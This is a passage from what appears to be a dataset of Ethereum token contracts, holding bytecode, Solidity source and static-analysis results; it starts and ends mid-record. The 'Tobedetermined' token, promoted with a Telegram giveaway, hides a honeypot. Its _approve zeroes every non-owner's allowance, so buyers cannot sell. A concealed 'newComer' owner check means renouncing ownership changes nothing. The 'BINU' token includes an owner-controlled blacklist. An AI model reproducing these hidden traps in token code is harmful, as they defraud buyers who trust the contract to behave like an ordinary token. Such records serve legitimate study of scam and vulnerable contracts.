090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107ac57600080fd5b505afa1580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b50511161081f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610869576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108723361138b565b3360009081526002602052604090205481111561089b5750336000908152600260205260409020545b600081116108e3576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6006546108fa906001600160a01b03163383611493565b3360009081526002602052604090205461091490826114e5565b3360009081526002602052604090205560035461093190826114e5565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6008546001600160a01b031681565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610b3a578115610a9257600454600019015b600481815481106109e357fe5b906000526020600020906003020160010154831015610a9057610a7b610a7460048381548110610a0f57fe5b906000526020600020906003020160020154610a6e600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b600091825260209091206003909102015490611530565b90611589565b83906115cb565b915080610a8757610a90565b600019016109d6565b505b600454600019015b610acd600a5460048381548110610aad57fe5b9060005260206000209060030201600101546115cb90919063ffffffff16565b421015610b38576000610ae660048381548110610a0f57fe5b9050610b15600a54610a6e610b0e42610b08600a5460048981548110610aad57fe5b906114e5565b8490611530565b9050610b2183826114e5565b925081610b2e5750610b38565b5060001901610a9a565b505b9392505050565b600b5460ff1681565b610b533361138b565b6000610b5e3361099e565b33600090815260016020526040902054909150610b7b90826114e5565b33600081815260016020526040902091909155600754610ba7916001600160a01b039091169083611493565b50565b600b5461010090046001600160a01b03163314610bfc576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b5461010090046001600160a01b03163314610c70576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610ca257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600b5461010090046001600160a01b03163314610d17576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60016020526000908152604090205481565b610d5a3361138b565b6000610d653361099e565b905080821115610d73578091505b33600090815260016020526040902054610d8d90836114e5565b336000818152600160205260409020919091556007546106bb916001600160a01b039091169084611493565b600a5481565b610dc83361138b565b600954600090610df2906103e890610a6e90859063ffffffff600160a01b90910481169061153016565b90506000610e0083836114e5565b90508115610e2757600854600654610e27916001600160a01b039182169133911685611625565b8015610ebd57600954600654610e4c916001600160a01b039182169133911684611625565b33600090815260026020526040902054610e6690826115cb565b33600090815260026020526040902055600354610e8390826115cb565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600b5461010090046001600160a01b03163314610f14576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600b5461010090046001600160a01b03163314610f8e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b600b5461010090046001600160a01b03163314611051576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116110b9576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611110576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600754611128906001600160a01b0316333084611625565b611130611a01565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a15050565b600b5461010090046001600160a01b03163314611266576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600b5461010090046001600160a01b031633146112da576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b600c5481565b60026020526000908152604090205481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156113835780601f1061135857610100808354040283529160200191611383565b820191906000526020600020905b81548152906001019060200180831161136657829003601f168201915b505050505081565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906113be575060045415155b1561146357600454600019015b600481815481106113d857fe5b9060005260206000209060030201600101548310156114615761144c610a746004838154811061140457fe5b906000526020600020906003020160020154610a6e60026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b91508061145857611461565b600019016113cb565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ebd908490611685565b600061152783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061183d565b90505b92915050565b60008261153f5750600061152a565b8282028284828161154c57fe5b04146115275760405162461bcd60e51b8152600401808060200182810382526021815260200180611a386021913960400191505060405180910390fd5b600061152783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118d4565b600082820183811015611527576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261167f908590611685565b50505050565b611697826001600160a01b0316611939565b6116e8576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106117265780518252601f199092019160209182019101611707565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611788576040519150601f19603f3d011682016040523d82523d6000602084013e61178d565b606091505b5091509150816117e4576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561167f5780806020019051602081101561180057600080fd5b505161167f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a59602a913960400191505060405180910390fd5b600081848411156118cc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611891578181015183820152602001611879565b50505050905090810190601f1680156118be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836119235760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611891578181015183820152602001611879565b50600083858161192f57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061196d5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826119ab57600085556119f1565b82601f106119c457805160ff19168380011785556119f1565b828001600101855582156119f1579182015b828111156119f15782518255916020019190600101906119d6565b506119fd929150611a22565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b808211156119fd5760008155600101611a2356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220e73f50c87f41747254a3abcf8ee6e0e7ca53ebca5aba193ed436370f6d5ce37964736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
9
0x58d06d7def3ef3d525a39b98081af9aa6ac6de5e
/** *Submitted for verification at Etherscan.io on 2021-12-20 */ /** _ _____ ____ ___ ___ _____ ___ | T | | / T / \ / \ / ___/ / _] | | | __jY __jY YY Y( \_ / [_ | l___ | l_ | T || O || O | \__ TY _] | T| _] | l_ || || | / \ || [_ | || T | |l !l ! \ || T l_____jl__j l___,_j \___/ \___/ \___jl_____j Website: http://www.lfgoose.com/ Telegram: https://t.me/LetsFuckingGoosePortal Twitter: https://twitter.com/LFGooseETH Instagram: https://www.instagram.com/lfgoose/ Something is definitely coming ... 🙊 Read the bottom 🙊 LFGoose* **/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Tobedetermined is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'to be determined' ; string private _symbol = 'tba'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } /* Only for holders ! Enter the channel at the bottom to have a chance to win 100$ every 100 holders All you have to do is to make a tweet about @LFGoose, using #LFGoose , tag 3 BIG influencers and 2 of your CRYPTO friend Hold at least 10$ of LFGoose Follow the twitter account :https://t.me/LetsFuckingGoosePortal Like the pinned messages Subscribe to the instagam account : https://www.instagram.com/lfgoose/ Here a list of crypto influencers https://twitter.com/1goonrich https://twitter.com/Yourpop8 https://twitter.com/CometCalls https://twitter.com/Miraz_Aslan https://twitter.com/K_PoBlah https://twitter.com/OniiEth https://twitter.com/CryptoGemApe https://twitter.com/dippy_eth https://twitter.com/Kali_Eth https://twitter.com/EthJasper https://twitter.com/SatoshiRipper https://twitter.com/ChinaPumpWXC https://twitter.com/EthLucius https://twitter.com/ATHena_DeFi https://twitter.com/cryptocarti https://twitter.com/frombroke2bags https://twitter.com/hulkordie https://twitter.com/CryptoGraphBSC https://twitter.com/CryptoGorgonite https://twitter.com/lebron_gains https://twitter.com/KenKingCastle1 https://twitter.com/FlameCryptos https://twitter.com/thecoingirl https://twitter.com/CryptoTigerKing https://twitter.com/CryptoBear21 https://twitter.com/LilTGems https://twitter.com/Cryptic_Maestro https://twitter.com/OfficialTravlad https://twitter.com/ZachBoychuk https://twitter.com/SharksCoins https://twitter.com/TheCryptoFrog_ https://twitter.com/Ralvero https://twitter.com/CRYPTOCHARlZARD https://twitter.com/ZeroWaiting https://twitter.com/LaCryptoMonkey https://twitter.com/crypto_bitlord7 https://twitter.com/JapaneseCrypto https://twitter.com/AltCryptoGems https://twitter.com/elonmusk https://twitter.com/TheCryptoGemini This is running for every 100 holders, winners will be pick randomly Every 100 holders, we ll add 50$ to the prize, it's ll be caped at 650$ at 10k holders,then we will increase the numbers of winners to 15 per 100 holders Join channel, link us your tweet We ll only send prize if the wallet you give us for paiement hold 10 $ of LFGoose Do not forget anystep to be eligible The channel to enter is : https://t.me/LFGoose_giveway #LFGoose */
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a08231146101d9578063715018a6146101ff5780638da5cb5b1461020957806395d89b411461022d578063a9059cbb14610235578063dd62ed3e14610261576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b661028f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b038135169060200135610325565b604080519115158252519081900360200190f35b610173610342565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b03813581169160208101359091169060400135610348565b6101c36103cf565b6040805160ff9092168252519081900360200190f35b610173600480360360208110156101ef57600080fd5b50356001600160a01b03166103d8565b6102076103f3565b005b6102116104a7565b604080516001600160a01b039092168252519081900360200190f35b6100b66104b6565b6101576004803603604081101561024b57600080fd5b506001600160a01b038135169060200135610517565b6101736004803603604081101561027757600080fd5b506001600160a01b038135811691602001351661052b565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561031b5780601f106102f05761010080835404028352916020019161031b565b820191906000526020600020905b8154815290600101906020018083116102fe57829003601f168201915b5050505050905090565b6000610339610332610556565b848461055a565b50600192915050565b60045490565b60006103558484846106ca565b6103c584610361610556565b6103c08560405180606001604052806028815260200161095c602891396001600160a01b038a1660009081526003602052604081209061039f610556565b6001600160a01b03168152602081019190915260400160002054919061081c565b61055a565b5060019392505050565b60075460ff1690565b6001600160a01b031660009081526002602052604090205490565b6103fb610556565b6001546001600160a01b0390811691161461045d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561031b5780601f106102f05761010080835404028352916020019161031b565b6000610339610524610556565b84846106ca565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661059f5760405162461bcd60e51b81526004018080602001828103825260248152602001806109cd6024913960400191505060405180910390fd5b6001600160a01b0382166105e45760405162461bcd60e51b815260040180806020018281038252602281526020018061093a6022913960400191505060405180910390fd5b6105ec6104a7565b6001600160a01b0316836001600160a01b031614610667576001600160a01b0380841660008181526003602090815260408083209487168084529482528083209290925581516004815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a36106c5565b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35b505050565b6001600160a01b03831661070f5760405162461bcd60e51b81526004018080602001828103825260258152602001806109156025913960400191505060405180910390fd5b6001600160a01b0382166107545760405162461bcd60e51b81526004018080602001828103825260238152602001806109aa6023913960400191505060405180910390fd5b61079181604051806060016040528060268152602001610984602691396001600160a01b038616600090815260026020526040902054919061081c565b6001600160a01b0380851660009081526002602052604080822093909355908416815220546107c090826108b3565b6001600160a01b0380841660008181526002602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156108ab5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610870578181015183820152602001610858565b50505050905090810190601f16801561089d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008282018381101561090d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202664298a27f0881cad289174ecd44f59ad97686fcb97ea67da28312e3ff8021b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10
0xdc34864c97846113231829ad8fa4c7cdb5861202
/* Telegram: https://t.me/BogInuToken Website: www.BogInu.com Twitter: https://twitter.com/bog_inu Fees 5% Redist 5% Dev ~PUMP IT uwaa~ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; interface eeAREceeTwenty { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library tooPlus2isFoor { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function callpumpit() external view returns (string memory) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BINU is Context, eeAREceeTwenty, Ownable { using tooPlus2isFoor for uint256; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 public constant MAX = ~uint256(0); uint256 public constant _tTotal = 1e12 * 10**9; uint256 public _rTotal = (MAX - (MAX % _tTotal)); uint256 public _tFeeTotal; string public constant _name = unicode"Bog Inu"; string public constant _symbol = "BINU"; uint8 public constant _decimals = 9; uint256 public _taxFee; uint256 public _teamFee; uint256 public _previousTaxFee = _taxFee; uint256 public _previousteamFee = _teamFee; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 5; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (!inSwap) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xA1AE4578Ac1fdE5ECB30115623D92B67f4C1ac27); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5e9 * 10**9; tradingOpen = true; eeAREceeTwenty(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, 